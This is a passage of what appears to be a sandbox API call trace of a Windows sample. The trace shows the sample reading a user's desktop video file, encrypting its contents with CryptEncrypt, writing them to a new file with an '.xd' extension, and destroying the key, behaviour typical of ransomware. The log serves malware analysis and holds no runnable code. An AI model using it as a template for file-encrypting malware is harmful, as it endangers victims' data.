wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.695] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ichsivnvdq8nr.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.696] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.696] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.696] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.696] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ichsivnvdq8nr.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.697] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.704] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.704] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x82fe, lpOverlapped=0x0) returned 1 [0075.705] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.707] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.708] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.708] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.708] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.708] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.708] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.708] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.708] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.708] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.708] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.709] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.709] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.709] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.709] CryptGetKeyParam (in: hKey=0x164c9b0, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.709] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.709] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.709] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.709] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.709] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.709] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.709] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.709] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.709] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.709] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.710] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.710] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.710] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.710] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.710] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.710] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.710] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.710] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.711] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.711] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x82fe, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x8300) returned 1 [0075.711] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.711] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.711] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.711] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.711] CharLowerBuffW (in: lpsz="byte[33537]", cchLength=0xb | out: lpsz="byte[33537]") returned 0xb [0075.711] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.712] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.712] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.712] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.712] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.712] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f1130*, pdwDataLen=0x130e618*=0x82fe, dwBufLen=0x8300 | out: pbData=0x17f1130*, pdwDataLen=0x130e618*=0x8300) returned 1 [0075.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.714] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.715] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.715] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.715] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.715] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.715] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.715] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.715] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.715] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.715] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.715] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.717] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x8300, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x8300, lpOverlapped=0x0) returned 1 [0075.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.719] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.719] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.719] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0075.719] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.720] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.720] CryptDestroyKey (hKey=0x164c9b0) returned 1 [0075.720] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.720] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.720] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.720] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.720] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.720] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.720] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.721] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.721] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.721] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.721] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.721] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.721] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.721] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.721] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.721] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.721] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.721] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.721] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.721] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.721] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.722] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.722] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0075.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.722] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.722] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.722] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.722] PeekMessageW (in: 